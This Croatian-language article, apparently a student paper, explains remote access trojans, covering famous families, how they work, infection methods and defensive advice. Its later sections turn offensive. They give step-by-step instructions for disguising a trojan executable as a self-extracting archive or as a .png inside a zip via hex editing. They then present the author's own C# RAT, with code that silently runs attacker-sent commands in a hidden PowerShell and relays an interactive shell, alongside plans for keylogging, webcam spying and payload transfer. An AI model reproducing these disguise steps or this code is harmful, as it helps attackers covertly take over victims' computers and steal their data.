R.A.T. Remote access trojan
Autor: Krešimir Zelenika
Sadržaj |
Uvod
Remote Access Trojan (RAT) je specifična vrsta zlonamjernog softvera koji kontrolira sustav putem udaljene mrežne veze isto kako bi računalo bilo kontrolirano fizičkim pristupom. Dok dijeljenje stolnih računala i udaljena administracija imaju mnogo zakonskih primjena, RAT se obično povezuje s zločinačkim ili zlonamjernim aktivnostima. RAT se obično instalira bez znanja žrtve, često kao trojan, i pokušat će sakriti operaciju od žrtve, sigurnosnih softvera i drugih Anti-Virusnih programa.
Pošto napadaču omogućuju administrativnu kontrolu nad žrtvom, uz pomoć RAT je moguće napraviti gotovo sve na žrtvinom računalu, a najčešće se koristi za: -Nadziranje korištenjem keyloggera pri čemu se skupljaju osobni podaci od vlasnika zaraženog računala -Pristup povjerljivim podacima (poput brojeva kreditnih kartica) -Aktiviranje web kamere za snimanje videa -Kontrola miša i tipkovnice -Snimanje zaslona -Instalaciju drugih zlonamjernih programa -Formatiranje diskova -Preuzimanje, brisanje ili izmjena datoteka na računalu
U zadnje vrijeme RAT se dosta spominjao u sklopu rudarenja za kriptovalutama. Računala i serveri bili su meta hakera, koji su uz pomoć RAT na zaraženim računalima rudarili kriptovalute (Bitcoin[1], Monero[2]).
Poznati R.A.T-ovi
1. Back Orifice
2. NetBus
3. iControl
4. PoisonIvy
5. Sub Seven
6. Beast Trojan
7. Bifrost
8. Blackshades
9. DarkComet
Back Orifice je jedan od najpoznatijih primjera RAT-a. Hackerska grupa poznata kao "Cult of the Dead Cow" stvorila je Back Orifice kako bi otkrila sigurnosne nedostatke Microsoftovih operacijskih sustava Windows. Back Orifice je dizajniran sa arhitekturom klijent-poslužitelj. Mali i nenametljiv poslužiteljski program instalira se na jedan stroj, koji se daljinski upravlja programom klijenta s grafičkim korisničkim sučeljem na drugom računalnom sustavu. Dvije komponente međusobno komuniciraju TCP i / ili UDP mrežnim protokolima. Kao referenca na izraz Leet, ovaj program obično radi na priključku 31337.
Program je debitirao na DEF CON 6 1. kolovoza 1998. godine. To je bio zamisao Sir Dystic-a, člana američke hackerske organizacije Cult of the Dead Cow. Prema grupi, njegova je svrha pokazati nedostatak sigurnosti u Microsoftovom operativnom sustavu Windows 98. Iako Back Orifice ima legitimne svrhe, kao što je daljinska administracija, postoje i drugi čimbenici koji ga čine prikladnijim za manje dobroćudne svrhe. Poslužitelj se može sakriti od očiju korisnika sustava. Budući da se poslužitelj može instalirati bez interakcije s korisnikom, može se distribuirati kao trojanski konj. Zbog tih i drugih razloga, antivirusna industrija odmah je kategorizirala alat kao zlonamjerni softver i priložila ga u svoj karantensku listu programa. Unatoč toj činjenici, još se često koristi radi jednostavnog GUI-ja i jednostavnosti instalacije. Slijedili su ga dva nastavka, Back Orifice 2000, objavljen 1999, i Deep Back Orifice od strane francuske kanadske hakerske skupine QHA.
RAT-ovi se mogu teško otkriti jer se obično ne prikazuju na popisima pokrenutih programa ili zadataka. Radnje koje obavljaju mogu biti slične onima legitimnih programa. Nadalje, uljez često upravlja razinom korištenja resursa tako da pad performansi ne upozorava korisnika da nešto nije u redu.
Da biste zaštitili svoj sustav od RAT-ova, slijedite iste postupke koji upotrebljavate kako biste spriječili druge infekcije zlonamjernim softverom: Držite antivirusni softver ažuriran i suzdržite se od preuzimanja programa ili otvaranja privitaka koji nisu iz pouzdanog izvora. Na administrativnoj razini, uvijek je dobra ideja za blokiranje neiskorištenih portova, isključivanje neiskorištenih servisa i praćenje odlaznog prometa.
Kako fukncionira RAT?
RAT je zapravo klijent - server aplikacija koja ne funkcionira klasično. Umjesto da se tradicionalno klijent spaja na server, RAT funkcionira na načn da se server spaja na klijenta. U slučaju RAT-a Server je zapravo trojan s kojim je računalo zaraženo. Jednom kada se računalo zarazi RAT se najčešće sakrije u Registry te se sa svakim paljenjem računala ponovno pokreće server preko kojega hackeri mogu upravljati vašim računalom.
Trenutno se RAT-ovi najviše pišu uz pomoć .NET ili u C++. RAT-ovi u C++ su više "poželjni" iz razloga što ih je teže primjetiti ukoliko ne koriste Microsoftow .NET. Kao takvi, RAT-ovi se najviše koriste za napade na windows mašine, iako postoji nekoliko RAT-ova za macOS i Linux.
Ukoliko se vaše računalo zarazi sa RAT-om (dobijete poruku od hakera, vidite aplikaciju, uključenu web kameru i sl.), najbolje je odmah isključiti internet. Nakon toga skenirajte s antivirusom (preporuka Malwarebytes)
Česta metoda infekcije
Trojanski programi za daljinski pristup mogu se instalirati u brojnim metodama ili tehnikama, i bit će slični ostalim vektorima zaraze zlonamjernim softverom. Posebno izrađeni privitci e-pošte, web-veze, preuzimanje paketa ili .torrent datoteke mogu se koristiti kao mehanizam za instalaciju softvera. Ciljani napadi motiviranog napadača mogu zavarati željene mete (korisnike) u instalaciji takvog softvera putem društvene inženjerske taktike ili čak privremenim fizičkim pristupom željenom računalu.
Maskiranje trojanskog konja
Najjednostavniji način maskiranja trojanskog konja je napraviti SFX arhivu u kojoj će biti slika u formatu .ico i trojan.exe. Arhiva se kreira kao i bilo koji drugi .zip, uz izuzetak da se pod General tabom označi "Generate SFX archive". Nakon toga pod Advanced tabom uđete u SFX Options. Ovdje pod Setup možemo navesti koje točno stvari želimo pokrenuti kada se pokrene .SFX arhiva.
Da ovakvog trojana učinite još uvjerljivijim možemo maknuti nastavak poput .SFX.
Ovo je bio jedan jednostavniji primjer maskiranja trojanskog konja. U nastavku možemo napraviti nešto kompleksnije.
Uz pomoć alata Hex Workshop Editor ćemo naš virus prebaciti u .png. Prvo što nam je potrebno je staviti naš virus.exe u .zip. Nakon toga preuzmemo i pokrenemo Hex Workshop Editor, te otvorimo napravljenu .zip datoteku. Nakon što smo ju otvorili stisnemo ctrl+f i pretražimo virus.exe (ime virusa). Kada ga nađemo možemo zamijeniti u pr. macka.png. Navedeno spremimo i izađemo iz Hex Workshop editora. U .zip datoteci bi se sada trebala nalaziti datoteka macka.png.
Na slici iznad vidimo kako izgleda alat Hex Workshop Editor, te kako je jednostavno promijeniti ime i vrstu datoteke. Napomena je da novo ime datoteke mora biti jednake duljine kao i staro ime datoteke. Na slici ispod vidite rezultat promijenjenog imena i tipa datoteke u Hex Workshop Editoru.
RAT Aplikacija
Aplikaciju u jeziku C# sa .NET frameworkom možete pogledati ili preuzeti na linku[3].
Prilikom programiranja ove aplikacije koristio sam klasičnu Client - Server organizaciju. Klijentska aplikacija nalaziti će se na zaraženom računalu, a serverska na "hackerskom". Ovaj način programiranja nije dobar iz više razloga. Klijentska strana, odnosno zaraženo računalo, spajati će se isključivo na jednu IP Adresu koja je hardkodirana, odnosno upisana u kodu. Druga je upravo ta, napadačeva IP Adresa se nalazi u aplikaciji koja se vrti na zaraženom računalu. Na ovaj način sam se odlučio iz razloga što tako mogu vidjeti više zaraženih računala koji se pokušavaju spojiti na server, te iz razloga što ovaj program ne planiram koristiti u zlonamjerne svrhe. Klijentsa strana aplikacije spaja se na IP Adresu Servera, sa portom 1337. Nakon što se server pokrene, u konzolna aplikacija (Klijent) će zabilježiti te se spojiti na istog. Prilikom pokretanja klijenta konzolna aplikacija će biti skrivena, te će se dodati u Registry i pokretanje pri svakom paljenju računala (navedeni kod je zakomentiran). kada je aplikacija spojena, serveru šalje informacije o računalu (IP Adresu, Ime računala, Antivirusni program). Na serverskoj strani imamo Windows Forms aplikaciju. Imamo tri funkcionalnosti nakon što se server pokrene i spojimo se na određenog klijenta (aplikacija je napravljena tako da naredbe šalje samo jednom klijentu).
RAT. funkcionira na način da server klijentu pošalje kljčne riječi prema kojima će klijent dalje izvršavati kod. Primjerice ako pritisnem tipku Start CMD biti će poslana poruka startcmd te će se pokrenuti cmd. Ista stvar vrijedi i za powershell. Prilikom izvrsavanja naredbi šalju se ključne riječi powershell§naredba gdje se pomoću početne riječi odlučuje gdje će se navedena naredba izvršiti. Na početku spajanja isto tako šalje naredba systeminfo na koju, kada je klijent zaprimi, odgovara sa važnim podacima o zaraženom računalu (IP Adresa, Ime računala, Antivirusni program). Sva komunikacija između klijenta i servera vrši se pod AES enkripcijom.
Prva mogućnost je slanje većeg broja naredbi koje će se izvršiti u sakrivenom Powershellu, a nakon što se te naredbe odvrte Powershell će se ugasiti. Svaku liniju koja se izvodi razdvajamo sa točkom-zarez ";". Problem kod ovakvog upravljanja je da zapravo ne vidimo što se događa na zaraženom računalu.
Programski kod za izvršavanje više naredbi u Powershellu:
if (text != "control" && text != "systeminfo-" && !text.StartsWith("cmd") && !text.StartsWith("powershell")) { try { using (PowerShell PowerShellInstance = PowerShell.Create()) { foreach (string t in text.Split(';')) { PowerShellInstance.AddScript(t); IAsyncResult result = PowerShellInstance.BeginInvoke(); while (result.IsCompleted == false) { Console.WriteLine("Waiting for pipeline to finish..."); Thread.Sleep(1000); } Console.WriteLine("Finished!"); } } } catch (Exception ex) { sendCommand(ex.Message); } }
To nas dovodi do druge i treće mogućnosti. Pomoću dva različita gumba možemo pokrenuti CMD i/ili PowerShell. Navedeni programi biti će sakriveni na strani zaraženog računala, ali će se njihov sadržaj ispisivati unutar Windows Forms aplikacije na računalu napadača. Svaka od navedenih moguđnosti ima svoj textbox preko kojeg se enterom šalju poruke.
Programski kod koji pokreće PowerShell nakon naredbe "startpowershell":
if (text == "startpowershell") { ProcessStartInfo info = new ProcessStartInfo(); info.FileName = "powershell.exe"; info.CreateNoWindow = true; info.UseShellExecute = false; info.RedirectStandardInput = true; info.RedirectStandardOutput = true; info.RedirectStandardError = true; Process p = new Process(); p.StartInfo = info; p.Start(); toShell = p.StandardInput; fromShell = p.StandardOutput; eror = p.StandardError; toShell.AutoFlush = true; Thread shellThread = new Thread(new ThreadStart(getShellInput)); shellThread.Start(); } if (text.StartsWith("powershell")) { string command = text.Split('§')[1]; toShell.WriteLine(command + "\r\n"); }
Primjena
U kratkom YouTube video na jednom računalu sam pokrenuo klijentsku i serversku aplikaciju, te nakon spajanja pokrenuo sam keylogger napisan u C++ (također se nalazi na githubu sa ostalim kodovima). Keylogger sve podatke sprema na isto odredište u log.txt. Iako je ovo samo jedna od primjena ovakvog napada, jedna je od najčešćih. Video možete pogledati ovdje:
https://www.youtube.com/watch?v=PRqn8a3sZCg&feature=youtu.be
Buduće nadogradnje
Kao prvu nadogradnju na ovaj program bi stavio zamijenu klijenta i servera, te uz to nužno slanje ipadrese napadačkom (odnosno u tom slučaju klijentskom) računalu. To bi bilo potrebno iz razloga što se u tom slučaju napadač spaja na IP Adresu zaraženog računala, te mu je ona potrebna da pristupi navedenom računalu.
Kao drugu nadogradnju zamijenio bi konzolnu aplikaciju Windows Forms aplikacijom iz razloga što bi na taj način imao pristup using System.Windows.Forms biblioteci pomoću koje mogu omogućiti lakši stream desktopa sa zaraženog računala, te skupa s tim implementirati kontroliranje miša i tipkovnice na zaraženom računalu sa hackerskog računala.
Nakon toga bi implementirao keylogger, kojeg čak mogu koristiti kroz cmd ili powershell naredbe, ali bi znatno pojednostavilo posao.
Kod ovakvog trojana bi isto tako dobro došao file transfer preko kojega bi kada poželi, napadač lako mogao prebaciti i pokrenuti bilo koji drugi maliciozni kod.
Kao zadnju stavku bi vjerojatno naveo WebCam stream preko kojeg napadač može vidjeti nalazi li se meta na zaraženom računalu ili ne u nekom određenom trenutku.
Problemi koji mogu nastati kod streama WebCama ili remote desktopa su pojačan internet promet prilikom prijenosa podataka, pa s time i lakši pronalazak od strane mete. Uključene led lampice prilikom korištenja web kamere, Uočeno pomicanje miša ili dodavanje slova na tipkovnici. Sve te stvari mogu utjecati na to da se trojan prije pronađe i ukloni sa zaraženog računala.